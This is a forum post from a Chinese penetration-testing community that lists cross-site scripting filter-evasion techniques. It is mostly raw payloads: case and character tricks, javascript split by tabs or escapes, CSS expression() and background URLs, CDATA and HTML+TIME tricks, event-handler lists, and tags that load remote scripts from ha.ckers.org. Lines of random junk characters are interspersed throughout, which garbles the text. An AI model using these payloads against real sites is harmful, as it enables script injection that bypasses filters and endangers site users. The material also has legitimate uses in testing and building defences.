中国网络渗透测试联盟
标题:
Cross Site Scripting(XSS)攻击手法介绍
[打印本页]
作者:
admin
时间:
2012-12-31 09:59
标题:
Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写
* s& B& G8 f' u
! W: R/ y$ l! A5 @$ _/ `0 u! \
: k/ k, N* x+ t5 K7 \' l& a: P% I) H; c
8 a; R! h$ d8 f5 k5 p
<sCript>alert(‘d’)</scRipT>
8 E6 c% y' r0 u Y5 m6 C4 ]
, E6 X/ ^* c. a0 T; A5 e) e/ M
2. 利用多加一些其它字符来规避Regular Expression的检查
; d7 |$ j" E5 ~7 X9 d$ v% y
) X. r2 J D- G6 e: |
<<script>alert(‘c’)//<</script>
5 q; ?' g( r" H3 N# Z' [' l
) U& G7 w5 n2 d8 c1 s/ x
<SCRIPT a=">" SRC="t.js"></SCRIPT>
2 H ~; s0 N/ z. ]5 _3 y$ Z
4 F2 S# V5 c8 O
<SCRIPT =">" SRC="t.js"></SCRIPT>
3 F5 H1 B9 ~0 ?2 q4 R& h2 g" y+ a
) S' h' g) Q1 E4 b H# o3 w4 ^. ~
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
/ M* p3 U5 C8 c/ T# S
5 q, D' T; v* A8 x
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
3 |7 g8 Y" t# _0 M6 ]( y
! V3 U% b9 v/ M+ D7 C
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
5 D2 u0 L/ ^( H" m- C
7 r; S( E/ L4 F
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
8 P; j! |/ ]9 E/ S6 F/ u
: I) w% L; n6 r( Q
3. 以其它扩展名取代.js
! Q2 T( i2 r4 H3 f# `
7 H5 }: |$ ^' R# ]+ m: ^8 c# }
<script src="bad.jpg"></script>
8 \/ G9 l! V" z2 N" M
1 o6 [, U( T P: i, a) M9 C( Y& B
4. 将Javascript写在CSS档里
( ^. o8 V# z. Q |6 p4 D
! F- B: c8 C- b8 T
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
) o3 J: H; j- T6 v0 e
: @3 `+ Z! @3 Y- R r
example:
; h- G9 R& I- D) E1 N& I" W
: D5 ?0 x/ d! T% N
body {
4 G v. g' u& ~! k+ J
! a8 O# T a+ g: M( K
background-image: url(‘javascript:alert("XSS");’)
/ _/ \0 Q: v, d( [$ \
3 S$ D5 j! |1 T- T4 V
}
v$ n# a7 i" t# T
3 [' f7 J( I/ Y: H: r6 i/ l
5. 在script的tag里加入一些其它字符
. d6 u: o# I! @; w
. c" w t: t* i4 y! u! K$ a4 }
<SCRIPT/SRC="t.js"></SCRIPT>
, x }8 T2 E& L0 W+ A$ w; R
6 K1 ]# Z5 t2 _0 w' a; H' v
<SCRIPT/anyword SRC="t.js"></SCRIPT>
# G% J) z3 ?, ~' K/ B. b; g5 q
2 M6 X' _8 w( w8 J$ o( V* ?
6. 使用tab或是new line来规避
$ f* r. H& a: p% R) \6 n* {
9 B1 Q% }' y8 y0 x A& o
<img src="jav ascr ipt:alert(‘XSS3′)">
9 g$ C8 a7 q* i( q6 K" x) V
6 w* t* k. i9 m1 n: b! j
<img src="jav ascr ipt:alert(‘XSS3′)">
( | a9 x! @ S, j% l. T
" S: Z( i- T/ j# Y8 |6 f8 v" e
<IMG SRC="jav ascript:alert(‘XSS’);">
- |- _8 k+ `2 e$ }5 C; q
4 m! `7 E# |2 G. p
-> tag
5 J' a+ k4 I5 d* s/ K% v
7 S# S3 Q# T3 }9 I3 C" ~1 e
-> new line
! U9 K }0 c$ w5 }, @
) o* r5 W% g1 ?2 ^- W, h# ^5 L/ S2 m
7. 使用"\"来规避
( E1 P. A9 z; C8 v" U
7 n1 ]' T- v# l# M6 b F
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
% Y2 i# B) ?; R1 x- w A8 }7 t/ b5 U
2 K% u" C( {5 J! _, |) Z
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
# F8 w3 o, [1 i! F5 t
% t% @. D: u- |" p
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
* C" G" T5 w+ w/ D
) L) I- w% k7 F$ H v \
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
( T7 r9 R! z7 J
0 S9 p: x) u7 s8 [
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
6 r* K2 h" J, l* S4 ]5 f7 g, H! `
. ?1 I, `0 p9 _5 H; [
8. 使用Hex encode来规避(也可能会把";"拿掉)
% i( u ~+ B( H
! Q4 I% I0 Y' q1 G7 q
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
0 }$ t! F- c' L
: {9 V$ K; o; e2 z) _) h
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
1 X( u$ f( }& i: O0 [1 v: y) {+ n
# q4 C$ n+ Z5 n2 C1 Q+ D4 C; K
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
% t) l0 x. X+ X! w0 m
) o4 \9 H: X. s+ _( p
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
) i8 q5 `# ~4 e: C9 R$ }
0 B+ ]3 s$ W) R! e6 a+ B& D
9. script in HTML tag
: C; k# @+ N9 I! g2 f" i
' ~+ @# i4 Y/ o
<body onload=」alert(‘onload’)」>
- O- l2 O( N" C* P% u9 p0 A7 \2 ?, f* }
) R; `+ b! [# d4 i; l( p
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
* c6 j# A2 h) F5 b$ D
# q2 C- r; U7 y% B
10. 在swf里含有xss的code
; H3 o; ^) K6 _& _
2 P3 u' k1 B# ]$ P9 y6 Z# _
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
# ^6 P4 Q$ s4 c/ _( ~$ N. L
( i* O; ^0 `3 f, J6 |6 D
11. 利用CDATA将xss的code拆开,再组合起来。
# c |4 D7 s5 D6 I0 I1 {
1 G) p; [- W/ Q# o7 y7 H X6 A
<XML ID=I><X><C>
, H3 G \' |) _- h& ]5 U
" R6 a) J, B/ _& b$ l3 u
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
6 u- ?7 `1 m; W
1 g$ C$ b: |7 C
</C></X>
/ a! X3 X3 ?" V# {: [
8 s5 ^+ H `- K% D5 F, p3 s
</xml>
" o. a3 B4 s- N2 }6 ]; Q! w! R
0 J% P' M/ ?. W3 h& ?3 n2 S
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
; }: T$ S @$ W- W! S2 G
1 U2 z$ i6 D- v7 H
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
4 i4 }8 G8 ?3 `) I- S$ H2 W
. [; p& p/ `/ P+ U6 \( R8 n4 j
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
$ {& t& v$ t( G" \6 `8 I
* @1 J7 c5 i# J4 I
12. 利用HTML+TIME。
; a1 A3 y h* v
& ?' J$ ^0 I3 U m
<HTML><BODY>
9 a' [! H8 c% {7 i" D+ |# d- f
0 N7 Y% x" W+ n% m
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
: e8 s ]1 p7 X
* M3 E5 h; j! {( b# U) B# c$ a6 a
<?import namespace="t" implementation="#default#time2">
. r3 k0 s9 n' }3 w6 [
' R& ^% P+ w1 ^' U0 x- y9 d' ]
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
7 k, Y) n( x$ I& e( v# M6 T6 t
# R9 ]) M3 v# F' b9 z( ^: W4 f, \/ d
</BODY></HTML>
1 n3 k$ m* W4 y# L5 F2 X
4 v4 \: Y3 v! [0 K: T5 @
13. 透过META写入Cookie。
( {7 A' ~% G5 n( _
) ^2 K4 N& W1 R
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
( a, [9 ^) p) Q+ k8 @: o$ ~: w% N9 ~
6 C+ N& d# N9 c4 s, s9 r# v; h$ y
14. javascript in src , href , url
. T& } b6 ^0 Q
& W& F9 ^; i" F5 C
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
8 v1 E" S% ]& t8 k' h- ~
8 U! r" y( V e8 e; q5 p
<img src="javascript:alert(‘XSS3′)">
# ?: Y$ |: \. u. }
6 ~8 g1 b8 B1 w; m
<IMG DYNSRC="javascript:alert(‘XSS20′)">
3 \0 F" r" e5 v2 ]6 j1 ]
! r& o5 t9 q2 y
<IMG LOWSRC="javascript:alert(‘XSS21′)">
# j4 e( a0 I4 e q3 ~
5 w+ C" g- L! s1 ?) m
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
$ r. N1 B* D) [3 H6 L: `
! n% B- B# n" E8 W$ C
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
4 C4 J. D" n5 S3 h+ r5 \: t
9 D8 N- w3 B% R9 U+ }
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
( h% A# f7 ~. j6 C8 U( `# r9 D
; `3 v4 i/ d! P2 f) Q
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
- D. d+ c) M8 o. Z6 T( z+ _) ]
# L' M3 k8 \ i
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
9 N2 ]& D k% P* `/ P
0 W2 i$ P, T2 m1 y" F
</STYLE><A CLASS=XSS></A>
4 U# A& u" P6 q, O) Q# o6 ^9 M5 s
" f" z2 P% q+ ^- `$ ~9 i: A, K/ r
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
! P% @0 }+ p, W# X, y0 K( c
, P: d6 \& i! I# g1 O0 G* V9 r8 l
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2